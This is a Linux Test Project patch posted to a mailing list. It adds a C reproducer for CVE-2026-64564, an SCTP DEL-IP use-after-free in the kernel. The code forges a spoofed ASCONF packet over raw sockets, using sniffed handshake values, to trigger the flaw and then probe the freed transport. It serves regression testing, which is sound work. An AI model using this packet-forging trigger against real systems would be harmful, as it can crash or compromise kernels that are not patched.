[PATCH 2/2] cve/sctphantom: Add reproducer for CVE-2026-64564

Andrea Cervesato <[email protected]>
Newsgroups gmane.linux.ltp
Message-ID <[email protected]>
From: Andrea Cervesato <andrea.cervesato-IBi9RG/[email protected]>

Add a reproducer for CVE-2026-64564, a use-after-free in the SCTP
Dynamic Address Reconfiguration (RFC 5061) DEL-IP processing.

This vulnerability was fixed upstream by commit 9b2854f86f0b ("sctp:
don't free the ASCONF's own transport in DEL-IP processing").

Signed-off-by: Andrea Cervesato <andrea.cervesato-IBi9RG/[email protected]>
Link: https://matrix.tencent.com/en/2026/08/06/sctphantom-CVE-2026-64564
---
 runtest/cve                |   1 +
 testcases/cve/.gitignore   |   1 +
 testcases/cve/sctphantom.c | 594 +++++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 596 insertions(+)

diff --git a/runtest/cve b/runtest/cve
index 426b203e9..b096bacef 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -102,3 +102,4 @@ cve-2026-43494 io_uring04
 cve-2026-46300 xfrm02
 cve-2026-46300-skb-segment xfrm03
 cve-2026-46331 cve-2026-46331
+cve-2026-64564 sctphantom
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index 5aa038cd5..a167a8743 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -17,3 +17,4 @@ cve-2025-38236
 cve-2025-21756
 cve-2026-46331
 refluxfs
+sctphantom
diff --git a/testcases/cve/sctphantom.c b/testcases/cve/sctphantom.c
new file mode 100644
index 000000000..c89c5f9b4
--- /dev/null
+++ b/testcases/cve/sctphantom.c
@@ -0,0 +1,594 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Linux Test Project
+ */
+
+/*\
+ * Reproducer for CVE-2026-64564, a use-after-free in the SCTP Dynamic
+ * Address Reconfiguration (RFC 5061) DEL-IP processing, fixed upstream by
+ * commit 9b2854f86f0b ("sctp: don't free the ASCONF's own transport in
+ * DEL-IP processing").
+ *
+ * sctp_process_asconf() processes an ASCONF chunk against the transport
+ * cached in ``asconf->transport``. For an ASCONF located through its
+ * Address Parameter by __sctp_rcv_asconf_lookup() that transport
+ * corresponds to the Address Parameter, which need not be the packet
+ * source address. The DEL-IP source address guard (ADDIP D8) only
+ * protects the packet source, so a single ASCONF carrying
+ *
+ * - [Address Parameter L] [DEL-IP L] [DEL-IP 0.0.0.0]
+ *
+ * with L different from the packet source frees transport L through
+ * sctp_assoc_rm_peer(), and the wildcard DEL-IP then reuses the dangling
+ * ``asconf->transport`` in sctp_assoc_set_primary() and
+ * sctp_assoc_del_nonprimary_peers(), leaving the association with
+ * primary_path/active_path pointing at freed memory.
+ *
+ * [Algorithm]
+ *
+ * - Create a multihomed SCTP association on loopback between a server
+ *   socket bound to 127.0.0.1 and 127.0.0.2 and a client socket (victim)
+ * - Sniff the handshake on a raw socket to learn the client verification
+ *   tag and the server initial TSN (the expected ASCONF serial number)
+ * - Confirm the 127.0.0.2 secondary path with an on-demand heartbeat,
+ *   then disable heartbeats on all peer paths
+ * - Inject a forged ASCONF chunk sourced from 127.0.0.3 (not part of the
+ *   association) carrying [Address Parameter 127.0.0.2]
+ *   [DEL-IP 127.0.0.2] [DEL-IP 0.0.0.0]
+ * - Read the ASCONF-ACK: a fixed kernel rejects the first DEL-IP with
+ *   error cause 0x00a4 (SCTP_ERROR_REQ_REFUSED), a vulnerable kernel
+ *   reports success for both parameters
+ * - On a vulnerable kernel, wait for the RCU-deferred free and
+ *   dereference the stale primary path via :manpage:`getsockopt(2)`
+ *   SCTP_STATUS
+ *
+ * The test needs root to create raw sockets and to enable the
+ * net.sctp.addip_enable and net.sctp.addip_noauth_enable sysctls, which
+ * are restored after the run. The sysctls exist only while the sctp
+ * module is loaded, so the test reports TCONF if it is not (run
+ * ``modprobe sctp`` first). A vulnerable system may taint or crash.
+ */
+
+#include "tst_test.h"
+#include "tst_module.h"
+#include "tst_checksum.h"
+#include "tst_safe_net.h"
+
+#include "lapi/socket.h"
+#include "lapi/sctp.h"
+
+#define ADDR_PRIMARY	"127.0.0.1"	/* primary peer path, forged dst */
+#define ADDR_TARGET	"127.0.0.2"	/* secondary path freed by DEL-IP */
+#define ADDR_DUMMY	"127.0.0.254"	/* third path to keep transport_count > 1 */
+#define ADDR_SPOOF	"127.0.0.3"	/* forged ASCONF packet source */
+
+/* Mirror of the uapi struct sctp_paddrparams */
+struct tst_sctp_paddrparams {
+	int32_t		spp_assoc_id;
+	struct sockaddr_storage	spp_address;
+	uint32_t	spp_hbinterval;
+	uint16_t	spp_pathmaxrxt;
+	uint32_t	spp_pathmtu;
+	uint32_t	spp_sackdelay;
+	uint32_t	spp_flags;
+	uint32_t	spp_ipv6_flowlabel;
+	uint8_t		spp_dscp;
+} __attribute__((packed, aligned(4)));
+
+/* Mirror of the uapi struct sctp_paddrinfo */
+struct tst_sctp_paddrinfo {
+	int32_t		spinfo_assoc_id;
+	struct sockaddr_storage	spinfo_address;
+	int32_t		spinfo_state;
+	uint32_t	spinfo_cwnd;
+	uint32_t	spinfo_srtt;
+	uint32_t	spinfo_rto;
+	uint32_t	spinfo_mtu;
+} __attribute__((packed, aligned(4)));
+
+#define ASCONF_WIRE_LEN	48	/* hdr + serial + addr param + 2 x DEL-IP */
+
+static int cap_fd = -1;		/* captures all SCTP packets on loopback */
+static int raw_fd = -1;		/* injects the forged packet */
+static int srv_fd = -1;
+static int cli_fd = -1;
+static int acc_fd = -1;
+
+static uint16_t srv_port;
+static uint16_t cli_port;
+static uint32_t vtag_wire;	/* client initiate tag, network order */
+static uint32_t serial_wire;	/* server initial TSN, network order */
+
+static uint32_t addr4(const char *ip)
+{
+	struct in_addr addr;
+
+	if (inet_pton(AF_INET, ip, &addr) != 1)
+		tst_brk(TBROK, "inet_pton(%s) failed", ip);
+
+	return addr.s_addr;
+}
+
+static struct sockaddr_in sin4(const char *ip, uint16_t port)
+{
+	struct sockaddr_in sa = {
+		.sin_family = AF_INET,
+		.sin_port = htons(port),
+		.sin_addr.s_addr = addr4(ip),
+	};
+
+	return sa;
+}
+
+static uint16_t get16(const uint8_t *p)
+{
+	uint16_t val;
+
+	memcpy(&val, p, sizeof(val));
+	return ntohs(val);
+}
+
+static void put16(uint8_t *p, uint16_t val)
+{
+	uint16_t tmp = htons(val);
+
+	memcpy(p, &tmp, sizeof(tmp));
+}
+
+static void put32(uint8_t *p, uint32_t val)
+{
+	uint32_t tmp = htonl(val);
+
+	memcpy(p, &tmp, sizeof(tmp));
+}
+
+static void put_ip(uint8_t *p, const char *ip)
+{
+	uint32_t addr = addr4(ip);
+
+	memcpy(p, &addr, sizeof(addr));
+}
+
+static ssize_t cap_recv(uint8_t *buf, size_t size, int timeout_ms)
+{
+	struct pollfd pfd = { .fd = cap_fd, .events = POLLIN };
+
+	if (!SAFE_POLL(&pfd, 1, timeout_ms))
+		return 0;
+
+	return SAFE_RECV(0, cap_fd, buf, size, 0);
+}
+
+static void cap_drain(void)
+{
+	uint8_t buf[4096];
+	ssize_t ret;
+
+	do {
+		ret = recv(cap_fd, buf, sizeof(buf), MSG_DONTWAIT);
+	} while (ret > 0);
+
+	if (ret < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
+		tst_brk(TBROK | TERRNO, "recv(MSG_DONTWAIT) failed");
+}
+
+/* Extract the SCTP part of a captured IPv4 packet */
+static uint8_t *sctp_part(uint8_t *pkt, ssize_t len, size_t *sctp_len)
+{
+	struct iphdr ip;
+	size_t ihl;
+
+	if (len < (ssize_t)sizeof(ip))
+		return NULL;
+
+	memcpy(&ip, pkt, sizeof(ip));
+	if (ip.version != 4 || ip.protocol != IPPROTO_SCTP)
+		return NULL;
+
+	ihl = ip.ihl * 4;
+	if (ihl < sizeof(ip) || (ssize_t)(ihl + 12) > len)
+		return NULL;
+
+	*sctp_len = len - ihl;
+	return pkt + ihl;
+}
+
+static void setup(void)
+{
+	int fd;
+	const struct tst_path_val sysctls[] = {
+		{"/proc/sys/net/sctp/addip_enable", "1", TST_SR_TCONF},
+		{"/proc/sys/net/sctp/addip_noauth_enable", "1", TST_SR_TCONF},
+		{}
+	};
+	const struct tst_path_val *sysctl;
+
+	tst_modprobe("sctp", NULL);
+
+	for (sysctl = sysctls; sysctl->path; sysctl++)
+		tst_sys_conf_save(sysctl);
+
+	fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
+	if (fd == -1) {
+		if (errno == EPROTONOSUPPORT || errno == ESOCKTNOSUPPORT)
+			tst_brk(TCONF, "SCTP is not supported by the kernel");
+		tst_brk(TBROK | TERRNO, "socket(IPPROTO_SCTP) failed");
+	}
+	SAFE_CLOSE(fd);
+
+	cap_fd = SAFE_SOCKET(AF_INET, SOCK_RAW, IPPROTO_SCTP);
+	raw_fd = SAFE_SOCKET(AF_INET, SOCK_RAW, IPPROTO_RAW);
+}
+
+static void close_socks(void)
+{
+	if (acc_fd != -1)
+		SAFE_CLOSE(acc_fd);
+	if (cli_fd != -1)
+		SAFE_CLOSE(cli_fd);
+	if (srv_fd != -1)
+		SAFE_CLOSE(srv_fd);
+}
+
+static void cleanup(void)
+{
+	close_socks();
+
+	if (raw_fd != -1)
+		SAFE_CLOSE(raw_fd);
+	if (cap_fd != -1)
+		SAFE_CLOSE(cap_fd);
+}
+
+static void setup_association(void)
+{
+	struct sockaddr_in sa;
+	struct sockaddr_in addrs[2];
+
+	srv_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
+	sa = sin4(ADDR_PRIMARY, 0);
+	SAFE_BIND(srv_fd, (struct sockaddr *)&sa, sizeof(sa));
+	srv_port = TST_GETSOCKPORT(srv_fd);
+
+	/* the client learns the second and third peer addresses from the INIT-ACK */
+	addrs[0] = sin4(ADDR_TARGET, srv_port);
+	addrs[1] = sin4(ADDR_DUMMY, srv_port);
+	SAFE_SETSOCKOPT(srv_fd, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD,
+			addrs, sizeof(addrs));
+
+	SAFE_LISTEN(srv_fd, 1);
+
+	cap_drain();
+
+	cli_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
+	sa = sin4(ADDR_PRIMARY, srv_port);
+	SAFE_CONNECT(cli_fd, (struct sockaddr *)&sa, sizeof(sa));
+	cli_port = TST_GETSOCKPORT(cli_fd);
+
+	acc_fd = SAFE_ACCEPT(srv_fd, NULL, NULL);
+}
+
+/*
+ * Read the handshake captured on loopback: the client initiate tag is the
+ * verification tag the victim expects and the server initial TSN is the
+ * first ASCONF serial number the victim accepts (ADDIP E1).
+ */
+static void sniff_handshake(void)
+{
+	uint8_t buf[4096];
+	int got_init = 0, got_initack = 0;
+	int tries;
+
+	for (tries = 0; tries < 10 && (!got_init || !got_initack); tries++) {
+		uint8_t *sctp, *ch, *end;
+		uint16_t sport, dport;
+		size_t sctp_len;
+		ssize_t len;
+
+		len = cap_recv(buf, sizeof(buf), 200);
+		if (!len)
+			continue;
+
+		sctp = sctp_part(buf, len, &sctp_len);
+		if (!sctp)
+			continue;
+
+		sport = get16(sctp);
+		dport = get16(sctp + 2);
+		ch = sctp + 12;
+		end = sctp + sctp_len;
+
+		while (ch + 4 <= end) {
+			uint16_t clen = get16(ch + 2);
+
+			if (clen < 4 || ch + clen > end)
+				break;
+
+			if (ch[0] == SCTP_CID_INIT && dport == srv_port) {
+				memcpy(&vtag_wire, ch + 4, 4);
+				got_init = 1;
+			}
+
+			if (ch[0] == SCTP_CID_INIT_ACK && sport == srv_port && clen >= 20) {
+				uint8_t *p = ch + 20, *cend = ch + clen;
+				uint32_t target = addr4(ADDR_TARGET);
+				int found = 0;
+
+				memcpy(&serial_wire, ch + 16, 4);
+				got_initack = 1;
+
+				while (p + 4 <= cend) {
+					uint16_t plen = get16(p + 2);
+
+					if (plen < 4 || p + plen > cend)
+						break;
+					if (get16(p) == SCTP_PARAM_IPV4_ADDRESS &&
+					    plen == 8 && !memcmp(p + 4, &target, 4))
+						found = 1;
+					p += (plen + 3) & ~3;
+				}
+
+				if (!found)
+					tst_brk(TBROK, "peer did not advertise "
+						ADDR_TARGET);
+			}
+
+			ch += (clen + 3) & ~3;
+		}
+	}
+
+	if (!got_init || !got_initack)
+		tst_brk(TBROK, "could not capture the SCTP handshake");
+}
+
+/* Confirm the secondary peer path, then keep the association quiet */
+static void confirm_target_path(void)
+{
+	struct tst_sctp_paddrparams spp;
+	struct tst_sctp_paddrinfo info;
+	struct sockaddr_in sa;
+	socklen_t len;
+	long delay = 1;
+	int i;
+
+	sa = sin4(ADDR_TARGET, srv_port);
+
+	memset(&spp, 0, sizeof(spp));
+	memcpy(&spp.spp_address, &sa, sizeof(sa));
+	spp.spp_hbinterval = 1000;
+	spp.spp_flags = SPP_HB_ENABLE | SPP_HB_DEMAND;
+	SAFE_SETSOCKOPT(cli_fd, SOL_SCTP, SCTP_PEER_ADDR_PARAMS,
+			&spp, sizeof(spp));
+
+	for (i = 0; i < 12; i++) {
+		memset(&info, 0, sizeof(info));
+		memcpy(&info.spinfo_address, &sa, sizeof(sa));
+		len = sizeof(info);
+		SAFE_GETSOCKOPT(cli_fd, SOL_SCTP, SCTP_GET_PEER_ADDR_INFO,
+				&info, &len);
+
+		if (info.spinfo_state == SCTP_ACTIVE)
+			return;
+
+		SAFE_POLL(NULL, 0, delay);
+		delay *= 2;
+	}
+
+	tst_brk(TBROK, ADDR_TARGET " was not confirmed by a heartbeat");
+}
+
+static void disable_heartbeats(void)
+{
+	static const char *const addrs[] = { ADDR_PRIMARY, ADDR_TARGET, ADDR_DUMMY };
+	struct tst_sctp_paddrparams spp;
+	struct sockaddr_in sa;
+	unsigned int i;
+
+	for (i = 0; i < ARRAY_SIZE(addrs); i++) {
+		memset(&spp, 0, sizeof(spp));
+		sa = sin4(addrs[i], srv_port);
+		memcpy(&spp.spp_address, &sa, sizeof(sa));
+		spp.spp_flags = SPP_HB_DISABLE;
+		SAFE_SETSOCKOPT(cli_fd, SOL_SCTP, SCTP_PEER_ADDR_PARAMS,
+				&spp, sizeof(spp));
+	}
+}
+
+/*
+ * Forge an ASCONF chunk from a spoofed source address carrying
+ * [Address Parameter ADDR_TARGET] [DEL-IP ADDR_TARGET] [DEL-IP 0.0.0.0].
+ * The forged source forces the victim to look the association up through
+ * the Address Parameter, so asconf->transport is the transport of
+ * ADDR_TARGET, which the first DEL-IP then frees on a vulnerable kernel.
+ */
+static void send_asconf(void)
+{
+	uint8_t pkt[20 + 12 + ASCONF_WIRE_LEN];
+	struct iphdr ip = {
+		.version = 4,
+		.ihl = 5,
+		.ttl = 64,
+		.protocol = IPPROTO_SCTP,
+		.tot_len = htons(sizeof(pkt)),
+		.saddr = addr4(ADDR_SPOOF),
+		.daddr = addr4(ADDR_PRIMARY),
+	};
+	struct sockaddr_in dst = sin4(ADDR_PRIMARY, 0);
+	uint8_t *sctp = pkt + sizeof(ip), *p;
+	uint32_t csum;
+
+	memset(pkt, 0, sizeof(pkt));
+	memcpy(pkt, &ip, sizeof(ip));
+
+	put16(sctp + 0, srv_port);
+	put16(sctp + 2, cli_port);
+	memcpy(sctp + 4, &vtag_wire, 4);
+
+	p = sctp + 12;
+	p[0] = SCTP_CID_ASCONF;
+	put16(p + 2, ASCONF_WIRE_LEN);
+	memcpy(p + 4, &serial_wire, 4);
+
+	p += 8;
+	put16(p + 0, SCTP_PARAM_IPV4_ADDRESS);
+	put16(p + 2, 8);
+	put_ip(p + 4, ADDR_TARGET);
+
+	p += 8;
+	put16(p + 0, SCTP_PARAM_DEL_IP);
+	put16(p + 2, 16);
+	put32(p + 4, 1);
+	put16(p + 8, SCTP_PARAM_IPV4_ADDRESS);
+	put16(p + 10, 8);
+	put_ip(p + 12, ADDR_TARGET);
+
+	p += 16;
+	put16(p + 0, SCTP_PARAM_DEL_IP);
+	put16(p + 2, 16);
+	put32(p + 4, 2);
+	put16(p + 8, SCTP_PARAM_IPV4_ADDRESS);
+	put16(p + 10, 8);
+	put_ip(p + 12, "0.0.0.0");
+
+	/* SCTP carries the CRC32c little-endian, unlike any other field */
+	csum = htole32(tst_crc32c(sctp, 12 + ASCONF_WIRE_LEN));
+	memcpy(sctp + 8, &csum, 4);
+
+	SAFE_SENDTO(1, raw_fd, pkt, sizeof(pkt), 0,
+		    (struct sockaddr *)&dst, sizeof(dst));
+}
+
+/*
+ * Wait for the ASCONF-ACK (sent to the spoofed source, so it stays on
+ * loopback) and return the error cause of its first Error Cause
+ * Indication parameter, 0 when all parameters report success, or -1 when
+ * no ACK arrives in time.
+ */
+static int read_asconf_ack(void)
+{
+	uint8_t buf[4096];
+	int tries;
+
+	for (tries = 0; tries < 10; tries++) {
+		uint8_t *sctp, *ch, *end;
+		size_t sctp_len;
+		ssize_t len;
+
+		len = cap_recv(buf, sizeof(buf), 200);
+		if (!len)
+			continue;
+
+		sctp = sctp_part(buf, len, &sctp_len);
+		if (!sctp)
+			continue;
+
+		ch = sctp + 12;
+		end = sctp + sctp_len;
+
+		while (ch + 4 <= end) {
+			uint16_t clen = get16(ch + 2);
+			uint8_t *p, *cend;
+
+			if (clen < 4 || ch + clen > end)
+				break;
+
+			if (ch[0] != SCTP_CID_ASCONF_ACK || clen < 8 ||
+			    memcmp(ch + 4, &serial_wire, 4))
+				goto next;
+
+			p = ch + 8;
+			cend = ch + clen;
+
+			while (p + 8 <= cend) {
+				uint16_t plen = get16(p + 2);
+
+				if (plen < 8 || p + plen > cend)
+					return 0;
+				if (get16(p) == SCTP_PARAM_ERR_CAUSE &&
+				    plen >= 12)
+					return get16(p + 8);
+				p += (plen + 3) & ~3;
+			}
+
+			return 0;
+next:
+			ch += (clen + 3) & ~3;
+		}
+	}
+
+	return -1;
+}
+
+/*
+ * The freed transport is released by an RCU callback; once it is gone,
+ * reading the association status dereferences the stale primary_path,
+ * which KASAN reports as a use-after-free.
+ */
+static void probe_uaf(void)
+{
+	uint8_t buf[512];
+	long delay = 1;
+	int i;
+
+	tst_res(TINFO, "probing the stale primary path via SCTP_STATUS");
+
+	for (i = 0; i < 12; i++) {
+		socklen_t len = sizeof(buf);
+
+		TEST(getsockopt(cli_fd, SOL_SCTP, SCTP_STATUS, buf, &len));
+		SAFE_POLL(NULL, 0, delay);
+		delay *= 2;
+	}
+
+	if (tst_taint_check())
+		tst_res(TFAIL, "kernel tainted by the stale transport dereference (CVE-2026-64564)");
+	else
+		tst_res(TFAIL, "kernel is vulnerable to CVE-2026-64564: DEL-IP freed the ASCONF's own transport");
+}
+
+static void run(void)
+{
+	int cause;
+
+	setup_association();
+	sniff_handshake();
+	confirm_target_path();
+	disable_heartbeats();
+
+	cap_drain();
+	send_asconf();
+
+	cause = read_asconf_ack();
+	if (cause < 0)
+		tst_brk(TBROK, "no ASCONF-ACK received");
+
+	if (cause == SCTP_ERROR_REQ_REFUSED) {
+		tst_res(TPASS, "DEL-IP of the ASCONF's own transport refused, kernel is not vulnerable");
+	} else if (cause) {
+		tst_brk(TBROK, "unexpected ASCONF-ACK error cause 0x%04x",
+			cause);
+	} else {
+		tst_res(TINFO, "vulnerable kernel accepted the ASCONF sequence");
+		probe_uaf();
+	}
+
+	close_socks();
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.timeout = 60,
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.needs_kconfigs = (const char *const []) {
+		"CONFIG_IP_SCTP",
+		NULL
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "9b2854f86f0b56e9027d68e7a3fc909d1a9b566f"},
+		{"CVE", "2026-64564"},
+		{}
+	},
+};

-- 
2.51.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.